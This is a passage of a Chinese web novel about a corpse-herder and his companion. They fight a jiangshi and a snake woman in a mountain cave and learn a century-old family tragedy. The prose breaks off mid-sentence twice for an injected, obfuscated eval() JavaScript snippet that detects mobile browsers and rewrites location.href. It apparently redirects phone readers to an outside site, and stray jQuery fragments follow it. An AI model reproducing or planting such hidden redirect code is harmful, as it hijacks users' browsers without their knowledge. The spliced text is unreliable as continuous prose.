连摇三回,柳水鹤盘腿坐下,将青铜铃倒插在泥土中。薛暮冉这才放下塞耳朵的手,走过去坐在他身旁,问道:“怎么了?那僵尸会过来吗?”
“从回声上来听,那只蛊虫就在附近,自然僵尸也离得不远了。”
“那现在我们做什么?”
“等。”
“就——坐在这里等?这样多被动啊!”薛暮冉叫起来。
“你要是不愿意,也可以进林子里去找嘛,我又不拦着你。”柳水鹤嘲讽道。
树林森森,似乎藏着无数怪物,薛暮冉咕哝几声,乖乖坐在一旁,无聊之下,用手指戳着青铜铃,问道:“这个铃铛什么来历啊?这么厉害——”
柳水鹤身子一震,缓缓道:“这是我母亲的遗物。在我成年的时候,道观的高功将一本书连同这个铃铛交给我。”
“书?写着什么?”
“我母亲的人生经历吧,她自小在深山长大,精通音律。自创了一套可以操控死尸的曲子,开始了赶尸的生涯。她是真心喜欢这个行业,觉得送那些飘零在外的死尸们回家落叶归根是一件很伟大的事情。所以,我选择了跟她一样的行业,想走一走她曾经走过的路。”
“那这个青铜铃呢?怎么得到的?”
“这个倒是没说,不过那本书残缺不全,可能写了也说不定。只是写了青铜铃的效用,和应声蛊的培养方式。哦,对了,那个闭息丹的药方也夹在书里。”
“所以你就离开道观,开始做起了赶尸的行当?”
“是啊,人死如灯灭,多少人为了生计奔波在外,死于非命。送他们回家,也许是唯一一个,可以让他们安息的方式。”
娑娑声响,树叶摆动。
两人起身紧张地看着那片树林,忽然身后一阵腐臭味飘来,薛暮冉一转身,迎上一对血红的眼睛。
猛地一下腰,堪堪避过那双利爪。薛暮冉侧身扶地站起来,叫道:“老柳,僵尸!”
话音未落,僵尸的指甲已经插过去。
柳水鹤左右格挡,一个扫堂腿将僵尸按倒在地,立刻从怀里掏出绳索,打算系住僵尸坚硬的胳膊。
谁知僵尸力气极大,挣脱束缚,往前一跳,已然脱离控制。
柳水鹤将绳索扔过来,与薛暮冉一人抓着一头,将僵尸拦腰截住后,一个交叉,死死困住僵尸。
那僵尸也不甘示弱,抓着绳索往薛暮冉方转圈,力道极大,不一会,已将绳索牢牢套在身上。薛暮冉还没来得及窃喜,却看见那张青白面孔已经近在迟尺,一双殷红的眼珠子直勾勾盯着他,张开血口往他脖子上咬去。
腐臭味扑面而来,薛暮冉一时害怕,伸手阻挡,手上一松,绳索已经被僵尸夺去。
趁此机会,僵尸倒退着一跳,滑下山坡。
此时绳子另一头还握在柳水鹤手里,他死死抓着绳索不放,被僵尸带着冲下山坡,速度极快。树枝划烂他的胳膊、大腿,鲜血渗出来,染湿他的道袍。
淡淡的月光照在薛暮冉的脸上,他呆在原地,伸着空荡荡的双手,低声道:“这不可能!”
一晃神,那一人一尸已经消失在树林中。
沿着树枝折断的痕迹,薛暮冉一路找寻,在一处山崖边发现喘着粗气的柳水鹤。
“僵尸呢?”他问。
柳水鹤指指山崖下面,“跳下去了。”
探出身子往下张望,雾气缭绕,深不见底,隐约听见轰隆水流声。
“难不成这僵尸要自杀吗?”薛暮冉问道。
“有点不对劲,僵尸害怕水火,怎么会主动跳进去呢?这下面可能另有玄机。旁边有一些绿藤,我打算下去看看。”
“这大晚上的,要不等明天白天再做打算吧。”薛暮冉劝道。
山谷空幽,绝壁高耸,无奈,两人只能先回去茅草屋,打算等天亮再下悬崖查看。穿过树林,茅草屋灯火还亮着。柳水鹤驻足不前,表情凝重。
“伴冬的话,你也别太当真,那丫头看着就神神道道的。”薛暮冉说,推开门,只见墙角的茅草堆上,庄老脸上扎了好几根银针,正气喘吁吁说着什么。
“这是怎么回事?”薛暮冉半跪在老人身前,问道。
“高烧不退,药石无效,现在就是用银针吊着他一口气。”伴冬神色凄然。
柳水鹤上去一把脉,立时皱起眉头。
脉象浮沉不稳,忽强忽弱,极为凶险。
“现在怎么办?送庄老回村子吗?”薛暮冉问道。
“药石无灵,回村子等死吗?”伴冬语气急促,“我不会让他死的,那么大的修蛇,肯定内丹已成。虽然这样对它不起,但是这个世界本就十分狭小,那么大的家伙活着也会很辛苦。不如我送它一程!”
说罢,从门后取下弓箭。
“你别这么着急行不行?”薛暮冉一把拉住她,“我们从长计议啊,现在连那条蛇在哪里都不知道,怎么找那什么内丹?”
伴冬却神色古怪,看着薛暮冉道:“不是每个人都有你这样的好机会,庄老□□凡躯,加上年纪也大了,可能连今夜都撑不过去。”
“我的好机会?你是说脚伤吗?对,没错,我年轻,伤好得快,那又怎么样?我也会死啊,我们得想个办法保全自己,再去救人,不是吗?”
伴冬垂首不语,良久才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988026|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢慢抬头,苦笑道:“你说得对,是我错了。”
原本有些气愤的薛暮冉见她这样,也没了怒气,突然有些心疼起来。
“对了,有件事很奇怪。”薛暮冉想起方才与那僵尸面对面的情形,“那只僵尸,长得很像一个人。”
“谁?”
“你想想,那个女人养了那么多男人,长得都像谁?”
“云黎?”柳水鹤叫道。
一时间,乌云笼罩在三人头顶,毫无头绪。两件本不想干的事情,竟然在某处有了联系。这是他们谁都没有想到的。
“那具尸体,是谁让你送的?送去哪里啊?”伴冬问道。
“要送到彩衣县,岳家。找我办事的那个人戴着帽子,看不清长相。不过我们这行,早就习惯了各种各样的客人,也就见怪不怪了。”
“岳氏木材行的那个岳家?”见老柳点头,薛暮冉有些惊讶,“这么个大财主家,要这具尸体做什么?难不成这个人是他们家亲戚?”
“村志上面写了吗?岳家。”柳水鹤问。
“那倒没有,而且村子里除了云、刘两家人多一点,其他就只剩下李、王两个姓氏,人数稀少。唯一那家姓李的还逃走了,现在村子里只剩下那三家了。”
“总感觉其中有什么联系,眼下乱猜也没什么用,还是找修蛇要紧。”柳水鹤沉吟道。
这时,屋内传来呻吟声,三人推门进去,庄老招手喊他们过去,似乎有话要说。
薛暮冉扶起他,问道:“您想说什么?”
“别——别伤害——那个女人——”庄老断断续续道。
“怎么了?发生了什么事情吗?”薛暮冉问。
“那是我小时候听说的事情了,”庄老慢慢说道,“一百多年前,云家连同刘家,带着一群年轻人来到寻水乡定居。我的曾祖父,他叫云木阑,是云家的老二,他的妹妹,叫云水瑶,那年刚满十六岁。大哥叫云金柏,成熟稳重,是人群的领头人物。”
“水瑶?那不是——”柳水鹤惊讶道。
老人仿佛没听见,继续道:“妹妹水瑶一直特别喜欢粘着哥哥金柏。但是当时刘家长子刘火宣一直喜欢妹妹,却遭到拒绝,心中不快,因此造谣金柏对妹妹不轨。为了清誉名声,哥哥只好离开寻水乡,让老二照顾妹妹。他原以为,一切随着自己的离开会平息。可惜事与愿违。村里有一些男人以为妹妹生性□□,竟然趁机轻薄于她,其中以刘火宣的弟弟刘土明为首。
二哥生性木讷,一直没察觉妹妹的异样。如此过了五年,大哥金柏回来村子,妹妹欣喜欲狂,却发现哥哥身后还带着一个大着肚子的女人。
这五年来,妹妹日夜煎熬,唯一的希望就是这个哥哥。但是她没想到,哥哥出去一趟,已经组建了家庭,跟她是再无机会。
万念俱灰之下,妹妹离家出走,消失在山林之中。村长刘火宣带着一群人进山搜寻,却失望而归。不久,金柏带回的女人分娩,那夜正是月圆之夜。当幼儿哭啼之声响起时,金柏松了口气。
第二天,他进山搜寻妹妹踪迹,一无所获。第三日,月亮缺了个口子,他站在自家院子里给新作的澡盆打蜡,却发现妹妹竟然就站在面前。妹妹问他,愿不愿意跟着她一起离开,过属于他们两个人的生活。
哥哥一时之间不知道该怎么回答,就在迟疑之际,妹妹忽然笑了,决绝残酷。他想伸手去拉她,却发现那人犹如泡影,消失在空气中。当夜,蛇群攻击村庄。
云木阑赶来,要带着他们逃走,却只发现金柏妻子面色青黑,已经没了气息。像是被什么人捏碎了骨头似的,四肢尽断。金柏却不知踪迹。”
其他内容跟村志记载相差不大,薛暮冉心生慨叹,喃喃道:“原来是这样。”
“那云黎,是云金柏的后人吗?”柳水鹤问。
“大哥那一脉,只剩下云黎一人。”庄老道。
“难怪,难怪那女鬼如此执着于云黎,难怪那夜,僵尸会出现在山洞里。”柳水鹤霍地一下站起来,“我知道要去哪里找蛇丹了。”
11. 第十一章 无奈都是昨日流水
天边的那抹阳光穿过云层,在林子里投下一片细碎的光影。身躯高大的男人散着头发,在杉树下撒尿。
乱蓬蓬的发髻斜挂在耳边,上面插着一根树枝。
正是柳水鹤。
解决完毕后,他系上腰带,往山下的茅草屋走去。炊烟缭绕,米香扑鼻。
伴冬指了指门口的水缸,说:“去洗洗手。”
他皱皱眉,也没说什么,洗完手,从窗子里接过一大碗米饭,就着不知名的野菜,坐在门口吃起来。
薛暮冉也是一样,只是他吃着饭,嘴巴也闲不住:“等会到了山崖,我先下去,你在上面拉着我,知道吗?我速度快,你力气大,咱们要分工办事。”
“知道了,饭都堵不住你的嘴!”柳水鹤白了他一眼。
备好行囊,伴冬依旧递过来两枚金色丹药,“一路小心。”她看着两人,“这一路凶险,如果出了什么事,记得要连摇四次青铜铃,让我知道你们位置。”
含糊答应后,两人爬上山坡,回到昨日的断崖。
“伴冬给你的绳子呢?”薛暮冉插着腰站在悬崖边,蓄势待发。
柳水鹤嗤笑一声,将绳子绑在自己腰上,“我下去,你在上面拉着我。”不由分说,将绳子系在旁边一棵榉树根部,多余的部分塞进薛暮冉手里,就这样缓缓下了山崖。
绿藤光滑,量他薛暮冉再胆大,也不敢贸然攀着那东西爬下这陡峭的山崖,柳水鹤暗自笑了。
雾气弥漫,空气湿润得有些难以呼吸。越往下,除了长满苔藓的悬崖峭壁,再无其他。微黄的太阳挂在天上,朦胧又梦幻。
他低头继续往下攀岩,在青翠的藤蔓之中,发现一处断裂的痕迹。掏出随身携带的小刀,割开蜿蜒如蛇的绿藤,终于发现在密布的绿色大网后,有一个隐藏的洞口。
小心翼翼爬进去,洞内幽深晦暗,有风微微流动,却没有难闻的气味。他解开身上的绳子摇了摇,通知薛暮冉下来。
片刻后,熟悉的人影出现在洞口,柳水鹤一伸手,将他捞进来。绳索塞在洞口的藤蔓之中,防止被风吹走。
两人点亮火把,往山洞深处走去。
“你说,这桐柏山怎么这么多山洞?”薛暮冉问。
“你猜猜看。”柳水鹤坏笑一声,“那么大的修蛇,你以为是一夜之间长大的吗?”
“难不成,这都是那家伙钻出来的?”薛暮冉打了个寒颤。
呼啸一声,洞穴深处传来一声尖叫,似乎是个女子。两人加快步伐,穿过狭长的甬道的那刻,一道强光袭来,两人伸手遮挡,双双闭上了眼睛。
“这什么情况?”薛暮冉眨眨眼,逐渐适应了这阵光芒,往前面看去,这里并非是天光之下,仍旧处在山洞之中。
只是洞穴中央有一汪水潭,上面漂着一颗巨蛋,发出阵阵白色强光,衬得潭水越发漆黑,犹如墨玉一般。
“喂,你看那是什么?”薛暮冉再次大叫出声。
顺着他手指的方向,柳水鹤发现巨蛋之上,还坐着一位女子,正是那日在山洞之中碰见的奇怪女人——圈养男性的水瑶大人,可能也是,庄老口中的云水瑶。
“真亏你们可以找得到这里。”女人翘着二郎腿,笑嘻嘻道。
“你把云黎藏在哪里了?”薛暮冉问,无知无畏。
女人咯咯娇笑,“云黎?他运气好,被我选中,做我孩儿的身体,现在正好好养着呢,你们放心,肯定比在寻水乡过得好。”
“你孩儿?不会是说这颗大蛋吧?这么恶心人的东西还想霸占云黎的身体,你在做梦呢!”薛暮冉骂完,四顾查看。
柳水鹤顺着他的目光,发现洞内左前方的地上堆满了秸秆,似乎有个人藏在其中。心中已经有了主意。他轻轻掏出青铜铃,连摇三声。
这时那女人似乎察觉到他的意图,莲足轻跃,已经来到两人身旁,顿时一阵香风袭来,令人酥麻销骨,四肢发软。
柳水鹤狠狠掐了一把大腿,这才恢复神智,退到一旁,笑道:“除了媚药,你就没有别的本事了吗?”
她一手搂住薛暮冉,声音嘶哑,别有韵味,“我啊,就喜欢看你们心旌摇荡的模样。”说罢,吻上薛暮冉,异香浓烈,满洞春光。
铃——青铜铃再次响起,薛暮冉这才勉强恢复神智,猛地推开怀中的女子,喘着粗气道:“这女人气太足,亲的我差点窒息而死!”
“我看你挺享受的,就别马后炮了。”柳水鹤拉着他退到秸秆堆附近,拿着青铜铃一刻也不敢放松。
“怎么?好好的女人不喜欢,偏偏要跟我作对吗?”女人光着双脚,雪白的肌肤衬得大地越发漆黑。
“那你说错了,好好的女人我肯定喜欢,但是你可不是好女人,我连你是死是活都搞不清楚,还是算了吧。”薛暮冉依旧嘴上不饶人。
趁着他吸引对方的注意,柳水鹤一个箭步飞冲上去,扒开秸秆堆,果然,云黎静静躺在上面,呼吸顺畅,只是暂时失去意识。
他松了口气,伸手去掐他人中,不一会,云黎缓缓苏醒。
“我奶奶——”云黎醒来的第一句话,就让柳水鹤无言以对。
他将云奶奶已经去世之事悉数告知,满面愧疚,云黎却呆呆的,不发一言。
“云黎,我有办法救你奶奶,只要你肯牺牲自己。”
女人走过来,弯下腰,露出雪白的胸脯,“只要你肯接纳我孩儿,你奶奶就是我孩儿的奶奶,我一定会救她。”
没人应答,云黎依旧呆愣在原地,不知在想些什么。
柳水鹤问道:“你能怎么救?”
“你们听说过,天地四宝吗?”见几人茫然摇头,她继续道,“上古时代,鸿蒙初开,天地山河,共同构成了整个世界。万物皆有灵性,无论是飞禽走兽,鱼龙虾蟹,只要修炼,皆可形成内丹。其中得大成者,更是可以脱离凡胎,归入仙界。
那些即将飞升的修炼者们的内丹,能让我们起死回生,返老还童,与天地同寿,可跟日月争辉。刚好,这修蛇内丹,也可算得上其中之一。”
“你什么意思?”云黎缓缓开口。
“只要你肯献出身体,这蛇丹就是你的东西,到时候,救你奶奶还不是轻而易举吗?”
女人目光灼灼,盯着云黎。
“我——”云黎犹豫了。
女人缓步上前,嗓音甜腻,香风阵阵,柳水鹤捂住口鼻,往旁边移动,忽然瞥见女子衣服下面伸出来一根细细的绳索,与巨蛋相连,心中一动。
他看向薛暮冉,眼神示意他去砍断那条长绳。
一边用话语刺激她:“可是,云奶奶是被僵尸所杀,尸体已经烧成灰烬,你要怎么救?难不成这蛇丹还能重塑人身吗?”
云黎浑身一颤,眼中闪过愤恨之意,旋即恢复平静,他呐呐道:“你说说,还能不能救回来?”
女人惊讶地听完,捂着嘴笑得喘不过气:“肉身有这么重要吗?不过是拖累罢了。这具身体会老,会死。既然如此,趁着这次机会,让你奶奶换一具年轻的躯体,不是更好吗?”
“你在胡说些什么?换了个身体,那还是他奶奶吗?”柳水鹤怒道。
“可是,”女人娇笑道,“烧了人家奶奶尸体的,是你们啊——”猛地,女人神色凌厉,转过头去,只见薛暮冉手拿锋利的匕首,冲着那根细线狠狠砍过去。
凄厉的尖叫声响彻整个山洞。
女人美丽的脸庞扭曲变了形,五官也跟着拉长,一双娇媚的眼睛转瞬变成金黄色,脸上的皮肤爬满了鳞片,活脱脱变成一条半人蛇。
女人腾空飞起,衣服犹如布屑随风飘落,露出长满青色鳞甲的身体,从肚脐眼处伸出来一条青黑色的长管,连接着巨蛋的一侧。
“这个怎么砍不断?”薛暮冉满脸惊讶。
“这个——是脐带!”柳水鹤道,拉着云黎跑到巨蛋后方,那婴儿正贴着蛋壳,一张大脸五官不似人形,仿佛人脸上长着蛇的模样,说不出的诡异。
这时巨蛋一阵摇晃,好似帆船被风吹得调转了个弯,长有脐带的那端正对着三人。那诡异的女子此时已经彻底变了样子,下半身变成蛇尾形状,脐带从那尾部伸出去,变得跟人手腕一般粗细。
“云黎,我再问你最后一次,愿不愿意做我孩儿的身体?”女人张开双手,声音几近嘶吼。
“我奶奶已经死了,我活在世上也没什么意思,如果你喜欢这具身体,就拿去好了。”云黎苦笑一声,推开身旁的两人,“不过,你得放了他们,这件事就从我这里停止。”
柳水鹤大惊,拉着云黎道:“别说傻话,我有办法可以逃走的。”
“事已至此,我活着也没什么意思。如果死之前还能让你们两个活着出去,那也算值得了。”云黎面上平静,缓缓说道。
“你不懂,肉体凡胎,怎么接纳这条蛇?”柳水鹤着急起来,“更何况这条蛇蕴含着修蛇修炼千年的内丹,就算你是铁打的,也要碎成粉末!”
“住口!”变了形状的女人厉声尖叫,两条胳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988027|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膊长长的垂下来,末端不断蜷曲。
薛暮冉定睛看去,立刻吃了一惊,不知何时,那女人的手臂变成了两条长蛇,此时正张着嘴吐信,发出嘶嘶的声音。
“喂,小心那女人的双手!”薛暮冉叫道。
话音刚落,女人双臂一抬,两条长蛇直冲云黎飞来。
叮铃——清脆的金属撞击音瞬间从四面八方回荡过来,女人发出痛苦的呻吟,双手化成的蛇也微微一顿,停止攻击云黎。
趁此机会,薛暮冉拉着呆住的云黎退向旁边,骂道:“你小子这时候发愣,不想活了吗?你还有寻水乡,还有那么多朋友在等着你回去!还有,你们刘村长临死之前,让我带话给你,说寻水乡就靠你了。这么大责任,你怎么能先放弃自己呢?”
听过这话,云黎原本犹如死灰的双眼微微闪烁精光,“刘村长?他为什么会——”
“你不信?这是他给我的卷轴,让我一定要交给你。还说什么,村子全靠你了,只有你才能拯救大家。”薛暮冉从怀里掏出一个青色的卷轴,塞给云黎,“这个我都没敢打开看,感觉是很重要的东西,你自己看看吧。”
云黎拿着卷轴,神色复杂,双眼发红,终于一使劲紧紧握住卷轴,道:“不管接下来会怎么样,总不能死在这怪物手里。”
一抹鼻子,深吸一声,招呼旁边的柳水鹤,说:“前面有个出口,可以通到山脚下,我们快走!”
顺着他手指方向,两人注意到在血潭的另一头,一堆枯树枝后藏有洞口,在黑暗中不仔细看根本发现不了。
见他振作起来,另外两人纷纷露出欣慰的笑容,三人聚在一处,退向云黎指向的洞口。
忽然间,一声怒吼从那巨蛋之中迸发出来,紧接着,阵阵撕裂之声不绝于耳,那蛋壳竟然出现道道裂纹,发出刺眼的白光。
眼看其中半人半蛇的怪物即将出世,三人都呆在原地,忘记逃走。
“今天谁都别想走!”声音浑厚低沉,却又异常的尖锐刺耳。
“不,你答应过我,不对他出手!”女人柔媚的声音夹杂其中。
一时间,洞内狂风四起,白光刺目,水潭中升起一道道水幕,将巨蛋环绕其中。
三人都没有伸手遮挡,使劲睁着眼睛想看清那旋涡之中的情形。
风卷着水流包裹着巨蛋,逐渐升到半空中,忽然砰的一声,炸裂开来,粘稠腥臭的液体溅得到处都是,这时薛暮冉才发现,这根本不是什么水潭,而是血潭,里面蓄满了黑红色的血液。
白光闪过,包裹着怪物的蛋壳碎裂满地,镶嵌进整个山洞的墙壁上。远远看去像是一座堆满宝石的洞窟,四面八方都发出阵阵莹白色光芒。
抬头望去,半空中漂浮着两只尾部相连的怪物,缓缓降下来,落在血潭之中。
其中一只上半身长着人类的躯体,光洁如玉,肌肉虬结,双臂尾部是两条白蛇,正在嘶嘶吐信。
往上看去,那怪物脸上五官狭长,像人非人。特别是那张血盆大嘴连接着耳朵,长满尖牙。坚硬的头部生着密密麻麻的突起,遍布着鳞片。
另一只则是女人化作的怪物,依旧保持着蛋壳碎裂之前的模样,只是跟那只新生出来的怪物相比,看上去小了一圈。此刻那女人张开双手,两条长蛇凌空盘旋,虎视眈眈盯着那只新出生的怪物。
“长冥,你答应过我,只要云黎拒绝,你要放了他的。”女人瞪着一双金色的眼眸,似乎十分生气。
“你有资格跟我谈条件吗?”那被称作长冥的怪物长着大嘴,哈哈狂笑。
三人对视一眼,趁此机会打算悄悄溜走,结果刚一动弹,那怪物一双金色的眼睛就转过来,继续笑道:“我已经说过了,今天谁也别想走。怎么,我刚刚说的不够清楚吗?”
声音冰冷,瞬间整座山洞都蒙上一层白霜。三人冻得瑟瑟发抖,紧紧靠在一处。
“夫天地之间,物各有主。曾经我也这么认为,独自守着这座大山,绝不逾距一丝一毫,结果呢?我得到了什么?被那群高高在上的仙人们抛在脑后千千万万年。连这副身体都化作山川,血液变为河流,失去了一切。我得到了什么?”
“那你想得到什么?”薛暮冉大着胆子问道。
“以前,我一心想着飞升成仙,脱离这副身躯。现在嘛,既然他们费尽心力,建造出这么一个虚伪的世界,我偏偏就要毁了它!”
原本沉浸在血水中的两条白色手臂缓缓抬起,红色的液体一滴滴落下来,搅起一阵腥臭气味。
12. 第十二章 各自松开手罢
原本平息下来的狂风再次舞动着无形的身体,卷着浑浊腥臭的血水柱向三人冲过来。一时间天崩地裂,整个山洞也跟着晃动,碎石乱舞,山体即将崩裂。
一时间白光乱舞,无数细小的发光碎片齐齐掉落在地,灿若银河。薛暮冉跑到堆满树枝的洞口边,使上全身的力气推开这堆挡路的树枝,向另外两人招手道:“快啊!这个洞口狭窄,那个怪物肯定追不上来!”
虽然此时并未得救,但只要进去这个洞口,也就有了一丝生还的希望。终于将树枝推开,他满怀欣喜看向洞口里,却怔住了。
一张青白面孔矗立在洞口里,死气沉沉的眼珠子直勾勾盯着他,嘴角挂着一抹怪异的笑容,正是那夜跳下悬崖逃走的僵尸。
嗖的一声,僵尸蹦了出来,一双僵硬的胳膊直直冲向薛暮冉的脖子,他侧腰闪过,奔向跑过来的另外两人,一脸惊慌:“僵尸藏在那个洞里,快跑!”
此时真是屋漏偏逢连夜雨,前有豺狼后有虎豹,柳水鹤大叫一声:“真是天要亡我!”
薛暮冉也跟着唉声叹气,唯有云黎拍着两人后背,鼓励道:“就算死,有二位作伴,黄泉路上也不会寂寞了。只是眼下还不到说死的时候,僵尸好吸人血,眼前这么大的血水池子,对他来说岂不是等于放了一整盘的美味佳肴?那怪物一直呆在血水中,似乎也十分依靠这个池子,等他们两虎相争,我们再趁机逃走——”
“这话有道理!”薛暮冉附和。
柳水鹤却依旧面容苦涩,精神萎靡。
果然,那僵尸闻到血腥气,直接蹦进血池中,狂饮起来。蛇怪长冥双臂一扫,僵尸被两条白蛇困住,甫一飞上半空,又飞速冲着旁边巨石上猛砸下去。
又一双青黑色长蛇飞舞,绞住白蛇,竟然是那女人出手阻止。僵尸借着这一缓冲之力挣脱出来,神色古怪地盯着那女人的面容。
蛇怪长冥瞪着一双金色瞳孔,怪笑起来:“怎么?连这只僵尸你也喜欢?这么多年过去了,你还真是长情啊。”
“这不关你的事。”蛇女水瑶回道。
“那,旁边的假货你应该不喜欢了吧?我上了他的身,也好放你自由。这不是两全其美吗?”
“不,云黎不行,另外两个你随意。”
“哼,你在说笑吗?除了云黎,就剩下这只僵尸,你明知道,我选不了别人。”长冥撕扯着脸庞,裂开嘴,痴痴笑着。
“你身上也留着我的血,是我给了你身体,我不欠你什么,这两个人,你都不能碰。”水瑶声音凄厉,一双蛇臂冲向长冥,掐住他的脖子,“你害死了我的孩子,现在又想来害我哥哥!”
“哥哥?”长冥轻轻闪过,避开水瑶的攻击,那双青色手臂从他面前飞出去,趁此机会,他张开巨嘴,狠狠咬过去,将水瑶的蛇臂咬成两截。
伴随着女子惨烈的叫声,水瑶猛地后退,双手鲜血直流,脸上的蛇鳞一瞬间消退了不少,露出半张女子本来姣好的容颜。
“妹——三妹——”
薛暮冉注意到身旁的僵尸竟然开口说话,拉着柳水鹤道:“喂,听见了吗?僵尸在说着什么呢——”
“说什么了?”柳水鹤精力全在那两条蛇怪身上,并未注意到。
“什么,妹妹之类的,我说的吧,这僵尸跟云黎肯定有点关系。”薛暮冉拉着云黎,将他的脸翻来覆去的看,笑道:“太像了,你跟那个僵尸。”
云黎看向那只僵尸,果然跟自己有几分相似,顿时内心充满了疑问,又看向眼前的蛇怪,细细思索着女子所说的话语,隐隐猜出几分,心下大惊,不敢再继续想下去。
仿佛感受到了云黎的目光,僵尸转过身子,盯着云黎,非一般扑过来。三人本就靠得很近,一时伸展不得,慌忙间只能下蹲,借势滚到一边,这才没有被僵尸抓住。
僵尸扑了个空后,立刻调转方向,奔向血潭中央的蛇怪。长冥借助蛇尾飞速后移,躲过一劫,却直接将水瑶送至僵尸口中。
因双臂断裂,鲜血直流,更是刺激了僵尸的味蕾。他一口咬上水瑶的脖颈,咕咚咕咚吸起血来。
长冥见状,哈哈大笑,“真是天道轮回,报应不爽啊。一百多年前,你亲手杀了他,还封住他的身体,让他永世不能超脱。现在好了,死在他手里,对你来说,应该算是一件幸事吧。”
随着血液流动,蛇怪的身体也发出阵阵红光,身上血管清晰可见。僵尸吸血越多,自身竟然逐渐恢复光泽,脸上的青白之色也逐渐消退。原本瘦削的脸庞逐渐丰满,红润,原本无神的双眼也变得炯炯有神。
水瑶身上的鳞片悉数退去,露出原本的美貌模样。
此刻,长冥却低吼一声,伸出两条白蛇冲过去,死死锁住僵尸的脖子。只可惜为时已晚,因失血过多,双臂无力,长冥仰天长啸,绝望已极。
此时僵尸周身发出绚烂光芒,将蛇怪的血液吸个精光。长冥在白光中轰然一声,碎成粉末,消失于天地之间。
恢复人形的僵尸与蛇怪相拥跌落血潭之中,此时潭水已经消失大半,仅剩下中间一汪血水,堪堪没过两人膝盖。
女人身形一晃,站立不住,倒在僵尸怀里,叹道:“没想到还能见到你,真好。”
僵尸神色凄苦,苦笑道:“到底发生了什么?我只记得,那天夜里,你突然出现在院子外,要我跟你一起走,之后的事情我怎么一点也想不起来了。”
“那年月圆之夜,她为你生下孩子,我看着你高兴的神情,似乎没有了我,对你来说反而是一件高兴的事情。我气不过,因为那时,我也怀孕了你知道是谁的吗?”
见他痛苦地摇头,她摸了摸他的脸,继续说下去。
“是刘火宣他弟弟的。自从你走后,他们联合了一群人来欺负我。刘火宣知道了后,也不再说想娶我之类的话了,反而纵容那群畜生。这么多年来,支撑着我活下去的,一直只有你。结果,好不容易等到你回来,竟然还带着一个女人。”
“别,别说了——”僵尸留下泪水。
女人恍若不闻,继续自顾自说着。
“我生气,赌气进山,想看你还在不在乎我。结果被这山里的蛇精抓住,他说可以实现我的一个愿望,我就说,想跟你永远在一起。谁知道,这蛇精只是看中了我肚子里的孩子,想借我的肚子重生——”
她留下泪水,这么多年来,她以为自己再也不会哭泣。
“他用你来威胁我。我不从,连夜逃出去,看见你在院子里为孩子的澡盆打蜡,脸上都是幸福的笑容。我问你,愿不愿意跟我一起走。你犹豫了。我知道,你不会跟我走了。我回到蛇精的身边,答应了他的要求。”
蛇群下山,肆虐苍生。
“对不起,三妹,对不起,都是我的错。”僵尸泪流满面,“这些年来,我一直浑浑噩噩,犹如做梦一般,心里唯一放心不下的就是你。”
“有你念着我,就够了,是我的错,这些年来,我一直都很后悔,但是没有办法。一只脚踏进了沼泽,就再难抽身。我体内孕育着蛇精,需要源源不断的鲜血维持生命。久而久之,我已经分不清,自己到底是人还是蛇。
月圆之夜,我引诱进山的村民们,只要他们跟你有一丝一毫的相似,我就把他们留在身边,当成傀儡一样地养着。可是,他们终究不是你——
四年前,你的尸体突然被盗,我像发了疯似的四处找你,却一无所获。直到今日,我还能见到你,已经满足了。”
说完,女子卸下了所有的牵挂与思念,微微一笑,也化作一阵青烟,消失在她哥哥的怀中。
僵尸——不对,应该称呼他为‘云金柏’——抱着虚无的空气,在血池中痛哭。
事后,薛暮冉仍旧心有戚戚,他知道蛇女所做之事为天下大道所不容,却总是忍不住同情她的遭遇。
蛇女化灰后,云金柏利用仅剩的理智,借着洞中枯木烂枝,将自己的肉身烧个精光,以免日后继续害人。
“唉,”薛暮冉长叹一口气,“总觉得心里堵得慌。”
柳水鹤掏出一枚圆润光滑的青色珠子,道:“这个估计就是蛇丹,虽然听那个蛇女说可以让人起死回生,但是我也不知道到底要怎么做才能让它发挥效果。”
这是从云金柏的骨灰中找到的珠子。
“是不是要念什么咒语之类的?”
“就算要念咒语,也不是我们这等凡夫俗子可以宣之于口的。肯定要得道高人才能使用,咱们这等俗人,好好活着就算功德了。”
一路上,两人将村志中记载的过去,还有庄老补充的细节一一告知云黎,此时此刻,他孤独地走在前面,不发一语。这一系列的事情对他来说,打击过于巨大。也许只有时间可以淡化他内心的伤痕。
刚回到村子口,放眼望去,满目疮痍。原本修建整齐地屋子被大火烧得干干净净,只剩下乌黑的遗迹。
远处有人影走过,原来是云黎的邻居,刘大姐。
她一看见三人,立刻风一般冲了过来,像看见救星一样抓着柳水鹤:“师傅,救救我们啊!刘晟发疯了!”
三人一惊,同时面露疲惫之色。连日来发生的事情接连不断,让人应接不暇,连个喘气的机会都没有。
来到村中央的广场,他们看见刘晟被绑在一根柱子上,下面架满了柴火,似乎打算烧死他。
薛暮冉连忙询问原因,这才得知,昨日刘晟一行人回到村子时还好好的,结果第二天早上,刘晟打水洗脸时,发现了自己的异样。<
